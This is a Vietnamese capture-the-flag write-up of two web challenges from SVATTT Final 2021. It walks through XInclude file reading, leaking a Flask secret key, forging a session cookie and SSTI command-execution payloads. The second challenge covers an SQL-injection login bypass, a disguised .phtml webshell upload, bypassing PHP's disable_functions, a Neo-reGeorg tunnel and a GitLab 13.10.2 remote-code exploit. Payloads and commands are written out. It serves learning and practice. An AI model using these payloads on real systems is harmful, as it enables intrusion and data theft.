Ở post này thì mình sẽ viết wu về 2 bài của cuộc thi SVATTT Final Round 2021 Web1
và Web2
.
Contents
Web1
Setup
Down source tại đây. Bài này thì mình build trên máy ảo kali và khai thác ở máy window 😅.
Overview
Access tới thì hiển thị ra cho ta một trang login.
Thử chọn Login As Guest
, ta sẽ được đưa đến trang sau:
Cho hai ô để nhập, lúc này mình test thử với xml
và xpath
như Example và được một popup:
Phân tích
Đọc qua source file của đề, từ start.sh
:
#!/bin/bash
echo KEY=`python3 -c "import uuid;import hashlib;print(hashlib.md5(uuid.uuid4().hex.encode()).hexdigest())"` > .env
rm flag*
echo ASCIS2021{`cat /proc/sys/kernel/random/uuid | sed 's/[-]//g' | head -c 40`} > flag_`cat /proc/sys/kernel/random/uuid | sed 's/[-]//g' | head -c 20;`
docker-compose up -d --build
và các file docker-compose.yml
, biết được flag sẽ được tạo random và lưu vào một file flag_<random>
. SECRET_KEY dùng cho flask app sẽ được lấy từ KEY environment variable.
Đề có cho file xservice_users.db
, có thể thả vào https://inloop.github.io/sqlite-viewer/ để view:
Mà cái này cũng chả quan trọng trong bài này lắm 😅.
Ở dashboard.html
có sử dụng socket.io
và khi ta ấn Process
sẽ emit()
một event này với xml
và xpath
. Sau đó trên server sẽ tiếp nhận event này và process với:
@socketio.on('message')
def handle_message(xpath, xml):
if 'username' in session:
if len(xpath) != 0 and len(xml) != 0 and "&" not in xml:
try:
res = ''
root = ElementTree.fromstring(xml.strip())
ElementInclude.include(root)
for elem in root.findall(xpath):
if elem.text != "":
res += elem.text + ", "
emit('result', res[:-2])
except Exception as e:
emit('result', 'Nani?')
else:
emit('result', 'Nani?')
Ngay khi nhìn thấy ElementInclude.include(root)
mình đã nghi ngờ là XInclude. Thử test trên máy local xem như thế nào:
Đầu tiên là tạo một file
bla.txt
với content làbla
Sau đó chạy script để test
Ok thành công, nhưng ta sẽ đọc file gì tiếp theo ?. Để ý một tí thì ở route /login
, tất cả các account đều bị set session['is_admin']=0
:
Và chỉ khi session['is_admin']=1
thì mới có thể vào được route /manage
:
Các bạn có thấy được điều gì thú vị ở đây không 😋, đúng rồi là render_template_string()
vậy nếu ta có thể control được session['username']
thì hoàn toàn khai thác được ssti. Mà điểm mấu chốt để làm cho session['is_admin']=1
và có thể control được session['username']
là phải có SECRET_KEY
.
Vậy làm sao để lấy SECRET_KEY
? Quay lại ban đầu, ta có SECRET_KEY
sẽ được set bằng os.environ.get('KEY')
vậy chỉ cần xinclude /proc/self/environ
-> có được SECRET_KEY
. Và dùng SECRET_KEY
này sign lại hai yếu tố ở trên để ssti và đọc flag.
Exploit
Leak secret key:
Sau đó sign lại với is_admin=1
và username=to^
Change cookie sau đó access tới /manage
:
-> Thành công
Tiếp theo sẽ là ssti, để ý trong source code tại route manage
:
@app.route('/manage')
def manage():
try:
if session['is_admin'] == 1:
if xutils.check_user(session['username']) == True:
return render_template_string('Hello ' + session['username'] + ', under development!')
else:
return render_template_string(session['username'].replace("{{","") + "Not available")
else:
return redirect(url_for('dashboard'))
except:
return redirect(url_for('login'))
Vì đề đã replace tất cả {{
thành rỗng nên mình dùng {%
. Hmm, suy nghĩ một hồi thì mình quyết định ghi thẳng output command ra file /home/service/static/output.txt
để có thể xem được từ bên ngoài. Payload:
{% set bla = lipsum.__globals__['os'].popen('ls / > /home/service/static/output.txt').read() %}
Cuối cùng là cat flag {% set bla = lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56 > /home/service/static/flag.txt').read() %}
:
Hoặc cũng có thể làm theo cách session.update()
, payload:
{% set x=session.update({'flag': lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56').read()}) %}
và sau khi có được session mới ta decode như sau:
import zlib
import base64
session = ".eJwVzdEKgjAUgOFXGYOYQpibLlToIrrqusuKcbZzDEGndBQC8d2r-5_vX2Xbw0s28ny7XG8mN3rVrTV1HopgbV5qXddFebQQfAkYqsLT9ohyLzt2gEMXZaP3cmF6Rxjo56w7wTSLz4mJuRtjtkwIMyWr-o9UI_pu4mXInHv1o4eenburkdUzm8aJYqICzOLwbx3WhjCnymNrygoRvD2qNHsTYJJuqdhtcvsCbWs85g.YsvQQQ.MYxhTqCNzMtRXFCxslpHlalttJg="
print(zlib.decompress(base64.urlsafe_b64decode(session)).decode())
# referece: https://www.youtube.com/watch?v=mhcnBTDLxCI
output:
{"flag":"ASCIS2021{1f5290c3c550411993465acb4adc83be}\n","is_admin":1,"username":"{% set x=session.update({'flag': lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56').read()}) %}"}
Web2
Bài này thì mình hơi tốn thời gian ở công đoạn setup một tí và khi build được thì cũng không vui vẻ lắm lí do thì là đây:
🥺 Nói thật thì mình cũng không rõ tại sao, chắc có lẽ một phần phải build gitlab nên háu tài nguyên. Trong lúc làm thì phải restart/remove container liên tục vì ... bị đơ. Nhưng dù sao thì challenge này cũng rất hay và thực tế vì nó mô phỏng lại một lỗ hổng bảo mật liên quan tới gitlab.
Setup
Source code các bạn có thể down tại đây. Trong lúc setup thì mình có phát hiện một vài chỗ cần config lại để có thể build được, cụ thể ở file Docker
của thư mục php
chỉnh khúc đầu lại thành:
Overview
Nhìn vào file docker-compose.yml
ta biết được có 3 services: php
, mariadb
và web
. Trong đó 2 services mariadb
và web
thì chạy trong internal network của container.
Access tới http://127.0.0.1:1337 thấy được một trang login:
Phân tích
Ở login.php
, ta chú ý đoạn code:
$password
không được "escape string" như $name
vì vậy mình nghĩ có thể sqli được. Và tiếp tục để $error
không bị set thành true thì phải thỏa regexpasswd($pass)==true
Hàm này nằm trong lib.php
, click vào để xem nó hoạt động như thế nào:
hmm, password thỏa biểu thức $regex
thì sẽ được trả về là True
. Sau một hồi test trên https://regexr.com/ thì mình tìm được một test case match:
Cuối cùng, để thỏa điều kiện trong login.php
:
\=> username=chongxun
và password=aA0!cdc8' or username= 'chongxun
Login thành công:
Fuzz tiếp thì ở tính năng My accounts
:
sẽ dẫn ta đến account.php
và cho phép upload ảnh:
Vào source file upload.php
, file upload sẽ được move đến ./images/upload/
và phải thỏa các điều kiện:
File là một valid image
File chưa tồn tại ở
./images/upload/
File's size <= 500000
Extension không được là
.php, .phar, .pht
\=> Mục tiêu vẫn là upload một webshell.
Để file là một valid image thì ta có dể upload một php shell nhưng các byte đầu sẽ là GIF98a
. Còn về phần bypass extension thì exec vào container ta thấy ngoài các extension bị filter vẫn có thể dùng phtml
:
Thử up một php file echo ra bla
:
Kết quả:
Nhìn vào php.ini
các function bị disable khá nhiều nhưng ta vẫn có thể dùng các POC đã pulic để bypass disable functions. Cụ thể mình sử dụng https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php (nhớ lưu ý version của php, trong trường hợp này version trên server là php7.4)
Thử command id
:
RCE thành công nhưng ... làm gì tiếp theo, ta biết mục đích cuối cùng là run /readflag
ở service web
chạy gitlab nhưng hiện tại chỉ RCE được ở php
. Tới đây bởi vì có thể dùng curl
nên mình đã áp dụng POC của git lab 13.10.2. Xem ở https://www.exploit-db.com/exploits/50532 nhưng sau khi làm theo thì không work 😢.
Tới đây stuck quá nên tham khảo wu của đàn anh n3mo. -> Muốn áp dụng POC thì ta cần phải access được vào gitlab và a n3mo sử dụng một tool là Neo-reGeorg. Cách hoạt động của nó thì các bạn có thể tham khảo thêm tại đây, đây, đây và đây ...
Hoặc các bạn có thể đi phân tích mô hình hoạt động của nó:
(Dùng tool này để dịch nè)
Exploit
Tạo tunnel server với:
python neoreg.py generate -k password
Dùng curl
để download tunnel.php
trên server:
Kết nối tới web server và tạo một socks5 proxy bằng lệnh:python neoreg.py -k password -u ttp://127.0.0.1:1337/images/upload/tunnel.php
Sau đó tải add-on FoxyProxy và setup socks5:
Access trực tiếp tới IP của web
service trong container:
Hmmm, lúc này khi tạo acc xong sign in thì bị báo lỗi phải cần admin approval mình cũng không rõ lắm tại sao bởi vì cái này đã được setup khi chạy lệnh cuối trong run.sh
:
docker exec -it gitlab-13.10.2-ee.0-internal gitlab-rails runner "Gitlab::CurrentSettings.update!(require_admin_approval_after_user_signup: false)"
à nhắc mới nhớ khi chạy lệnh này thì terminal bị đơ và có lẽ vì vậy nên không work.
Do thế mình login vào thẳng admin account root:###CENSORED###
(pass đã set ở docker-compose.yml
) sau đó check rồi uncheck Require admin approval for new sign-ups
và Save changes.
Cuối cùng cũng login được 😃:
Vì ta đã sign in rồi nên chuyển qua POC này. Thử upload file một file ảnh bình thường để xem response của server
Response:
Và nhận thấy ta có thể access trực tiếp tới được:
Exec thẳng vào container xem thử thì ta được quyền ghi ở thư mục này:
Tạo lại payload để ghi flag ra thư mục mà ta có thể access tới - do không khai thác được theo kiểu OOB (ở đây tại vì mình build chall trên window nên phải chạy qua linux để run script tạo payload 😌):
Upload image:
Nó để failed nhưng server vẫn thực thi command:
Và flag: